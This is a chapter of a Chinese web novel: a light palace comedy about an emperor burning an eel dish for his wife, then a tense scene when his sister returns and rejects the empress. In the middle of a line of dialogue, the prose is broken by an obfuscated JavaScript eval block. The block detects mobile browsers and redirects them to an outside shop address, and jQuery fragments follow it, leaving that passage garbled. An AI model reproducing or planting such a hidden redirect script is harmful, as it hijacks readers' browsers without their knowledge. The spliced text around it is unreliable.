15. 庖厨笑谑,稚趣融融

作品:《萧墙龙影,九州潮

    瑞雪纷飞,给帝国宫城覆上一层素白绒毯。凤仪宫暖阁内,地龙烧得正旺,萧念却对着案上琳琅满目的膳食蹙起眉尖。肘子肥腻,芙蓉鱼片寡淡,蟹粉狮子头不好吃,便是那道声名远扬的“琉璃藕”,也甜得发齁——皆是帝国御膳房的拿手菜,却没一样合她胃口。成婚三月,对于帝国饮食的抵触,总算让萧念真切体会到“水土不服”四个字的分量。


    “阿景,我想吃黄鳝。”萧念放下玉筷,腮帮子微微鼓着。沈景遇刚处理完边关急报,正揉着眉心进来,闻言动作一顿 “黄鳝?帝国水域少产这物,御膳房的厨子怕是没做过。”


    “我不管。”萧念往椅背上一靠,赤金点翠的步摇随着动作轻晃,眼底带着熟悉的执拗“我就要吃。”


    沈景遇沉默片刻,目光扫过窗外纷飞的雪,忽然起身:“要不……我去给你做?”,这话一出,连捧着茶盏进来的宫女都惊得差点失手。萧念挑眉,连旁边摇篮里啃着拨浪鼓的沈知韫都停下动作。


    御膳房里,铜炉正沸,案上蔬果鲜洁。沈景遇叫内侍寻来两条活黄鳝,滑溜溜的在瓷盆里扭来扭去。他皱眉看了半晌,突然扬声:“都出去。”


    内侍们面面相觑,见帝王脸色沉了沉,忙不迭退出去。沈景遇又唤来侍卫,指了指门口:“守住,谁也不许进。”——帝王下厨,传出去总失了威仪,尤其还是他这般在朝臣面前以“铁腕”闻名的君主。


    萧念抱着沈知韫倚在门框上。“你行吗?”她故意逗他,指尖戳了戳怀里儿子的小胖脸。


    沈景遇捏着滑不溜秋的黄鳝,跟它“  battle ”好几回合,才把鳝鱼按在砧板上,闻言头也没抬“行。”语气硬邦邦的,带着点被质疑后的不服气。萧念见这阵仗不由捂嘴笑。待热油入锅,沈景遇把黄鳝丢进去。


    此时凌时屿百无聊赖逛皇宫,瞅见御膳房外站满侍卫,跟守宝藏似的。刚凑上去问“里面干啥呢”,就听“砰!” 一声巨响,黑烟裹着焦糊味窜出来。屋内油星子溅得老高,锅里瞬间黑烟直冒—— 黄鳝竟在热油里“蹦迪”,把锅盖都顶翻了!


    萧念下意识捂住沈知韫的脸,等浓烟散去,只见锅里躺着几条紫黑相间的东西,边缘还冒着焦糊的泡泡,活像被雷劈过的泥鳅。沈景遇举着锅铲,僵在原地,耳根悄悄泛红:“这……火候没掌握好,再焖会儿就好了。”


    “再焖就成炭了。”萧念走上前,戳了戳锅里的“黄鳝”,硬得能当柴烧。她忽然想起自己那锅绿鸡汤,一个绿得诡异,一个紫得惊悚,说出去怕是没人信,帝国帝后竟是这般‘厨艺双绝’。


    “这东西……吃了不会死人吧?”说着,萧念不由往后缩。


    沈景遇没说话,只是默默地看向萧念怀里的沈知韫。


    两岁的沈知韫似乎察觉到危险,小脑袋往母亲怀里缩了缩,小胖腿开始不安分地蹬踹,眼神里写满了“我还小,我不吃”。抬头看向母亲,却发现母亲也看着他,完了,身体努力扭动着,试图从母亲怀里溜走。——《父母是真爱,孩子是意外》


    沈景遇清了清嗓子,端起那盘紫鳝:“儿砸,尝尝咋样?”用银箸夹起一块。


    沈知韫小嘴一瘪,眼看就要哭出来。沈景遇也无奈,看了看儿子,又看了看萧念,最终把目光投向门口“你,进来。”沈景遇扬声,随手点了名侍卫。


    侍卫腿一软,几乎是爬着进来的,看见那盘紫鳝,脸都白了。“吃。”沈景遇把银箸递过去,语气平淡。侍卫看看那紫黑的鳝段,又看看沈景遇冷硬的脸,腿肚子都在打转。但君命难违,他闭着眼,夹起一小块塞进嘴里,刚嚼了一下,脸色骤变,捂着嘴冲出门外,扶着廊柱“哇”地吐起来,连苦水都快吐出来了。


    凌时屿心里咯噔一下,正想悄咪咪溜走,却被沈景遇抓了个正着。“哥来得正好。”沈景遇堵在门口,笑容可掬,眼神却像盯着猎物的狼,“尝尝我新做的菜。”


    凌时屿干笑:“不了不了,哥刚在外面吃了三大碗面,撑得慌。”


    “是吗?”沈景遇伸手搭住他肩膀,力道不轻不重,“可我记得,哥最爱吃新奇玩意儿。这道‘紫袍鳝段’,全天下独一份,你不吃,岂不可惜?”


    “弟的心意哥领了……”凌时屿试图掰开他的手,却被沈景遇死死按住“你嫂子还等着我回去,先走了”


    “你必须吃。”沈景遇语气不容置喙,直接夹起一块往他嘴里塞。凌时屿躲不开,被迫嚼了两下,那股焦糊里带着腥气的味道直冲脑门,他脸都绿了,却硬是挤出笑容:“好……好吃。”——《不愧是战沙场的人》


    “那就好。”沈景遇满意点头,转头冲萧念说,“念念快吃,哥都说好吃。”


    萧念看着他递过来的筷子,又看看凌时屿嘴角抽搐的样子,突然往后退了半步:“我突然不饿了。”


    “怎么能不饿?”沈景遇皱眉,直男式的固执上来了,“你不是想吃黄鳝吗?我特意给你做的。”


    “可这颜色……”萧念指着紫黑鳝段,“看着像毒药。”


    “哪能?”沈景遇拿起一块闻了闻,自己也皱了皱眉,“就是糊了点,毒性应该不大。”


    突然廊下传来丫鬟轻细的禀报声:“陛下,皇后娘娘,三公主回来了。”


    沈景遇手一顿,眉头微松——沈慕韵自小体弱,去年萧念初到帝国时,她便遵医嘱去了京郊庄子静养,算算时日,倒是该回来了。他刚要开口,御膳房的门已被轻轻推开,穿月白夹袄的少女立在门口,身形纤弱得像株经冬的玉兰,脸色是常年养在深闺的苍白,唯有一双眼睛,亮得像淬了冰的琉璃。


    “哥。”沈慕韵的声音很轻,带着病后的沙哑,目光扫过满室未散的黑烟,又落在案上那盘紫黑物事上,秀气的眉微微蹙起,“这是在做什么?”


    沈景遇把筷子往盘边一放,语气难得柔和:“你回来了?刚巧,来尝尝哥做的黄鳝。”


    “不了。”沈慕韵摇摇头,指尖无意识绞着袖口的银线绣纹,“太医说我脾胃弱,忌油腻腥气。”她说着,目光才缓缓转向萧念,那双清亮的眸子里,瞬间覆上一层薄冰,“萧国主怎么还在这?”


    她的语气算不上尖锐,却带着种泾渭分明的疏离,仿佛萧念的存在,本身就是对这方天地的冒犯。萧念抱着沈知韫,指尖轻轻拍着孩子后背,面上没什么表情。


    她认得沈慕韵,当年在萧国宫廷宴上远远见过,那时的江家三小姐眉眼间带着不谙世事的纯澈。可沈家灭门案揭开后,沈家与萧家,就隔着血海深仇。沈慕韵虽不像沈景遇早年那般剑拔弩张,眼底的疏离,却比恨意更伤人。


    “咳咳。”沈景遇清了清嗓子,打破这凝滞的气氛,指了指萧念“这是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968843|193417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你嫂子。”


    “嫂子?”沈慕韵像是听到了什么笑话,苍白的脸颊泛起薄红,不知是气的还是病的,“你忘了沈江两家的血仇?”


    “没忘。”沈景遇的声音沉了下去,垂眸看着案上的紫黄鳝,指尖无意识地摩挲着盘沿,“可旧事何必再提,而且萧国已经给爹娘他们昭雪,当年的凶手也伏法了。”


    “伏法?”沈慕韵笑了,笑声里带着苦涩的嘲讽,“那萧国皇室呢?他们就没有责任?”她的目光如淬了冰的针,直直扎向萧念,“她是仇人的女儿啊!我虽然这些年都在庄子上,但是也听说过,萧国现在真正的主子,是她萧念。”


    萧念始终没说话,她知道沈慕韵的恨,那恨意里藏着太多血泪,不是一句“昭雪”就能抹平的。沈慕韵顿了顿,目光落在沈知韫脸上,那孩子似懂非懂,正睁着黑葡萄似的眼睛看她。


    眉头皱得更紧了,像是看到了什么扎眼的东西,语气冷得像殿外的雪:“回宫。”说完这句,转身就往外走,月白斗篷的下摆扫过门槛,带起一阵冷风。


    “慕韵!”沈景遇下意识想追,脚步迈出半步,又猛地顿住。他回头看了眼萧念。


    “去吧。”萧念先开了口,声音很平静,“理解。”


    沈景遇犹豫了一下,终究还是转身追了出去。御膳房里只剩下萧念、凌时屿,和怀里懵懂的沈知韫。凌时屿摸着鼻子,尴尬地打圆场:“那个……慕韵年纪小,不懂事,你别往心里去。”


    他这话半是劝慰半是后怕——萧念如今的名号,早已不是当年萧国那个混世公主可比。谁都知道现在萧国真正掌权的人是谁?她如今的名声可是响彻全世界了,出奇的恶。沈慕韵这话戳的是心窝子,真惹得萧念动怒,以她的性子,也别想着看在沈景遇面子上不动手了,能给留全尸就不错了。


    萧念没说话,低头看了看怀里的沈知韫,小家伙正伸出小肉手,想去够案几上的空盘子。她轻轻拍掉他的手,语气听不出喜怒:“我知道。”


    她怎么会不知道?沈慕韵的恨,像一根埋在土里的刺,当年江府出事时就扎下了,这些年只是被庄子上的清静暂时掩盖着。如今她回来了,看到她这个“仇人之女”成了沈景遇的妻子,她的嫂子,还生了孩子,那根刺自然会重新冒出来,扎得人疼。


    凌时屿看着这一幕,叹了口气:“其实……慕韵心里也清楚,当年的事跟你无关。她就是……过不去自己那关。你也知道,她从小就跟晚晚不一样,晚晚心大,什么事转头就忘,慕韵…”


    听到凌时屿这话,忽然“噗嗤”笑出声,眼角眉梢都染上几分漫不经心的张扬。她抱着沈知韫转身,凤钗上的珠翠随着动作轻晃,映得满室烟火气都亮了几分。


    “放心,我没往心里去。”她语气轻快,指尖在沈知韫软乎乎的脸颊上戳了戳,“我还不至于和一个病秧子置气。”凌时屿这话说得多余,她是谁?是萧国上下宠坏的混世魔王,当年能提着鞭子追得萧然绕着宫墙跑,如今怎会跟个养在庄子上的病弱公主计较?“我也明白,阿景心里,姐姐和妹妹是头一份,我和韫儿排后头,巧了我也是”


    萧念爱沈景遇,沈景遇也爱萧念,但是在他俩眼里亲人排最前面。


    可那又如何?


    他们要的从来不是“唯一”,而是“自在”。只有心中爱着对方,就行了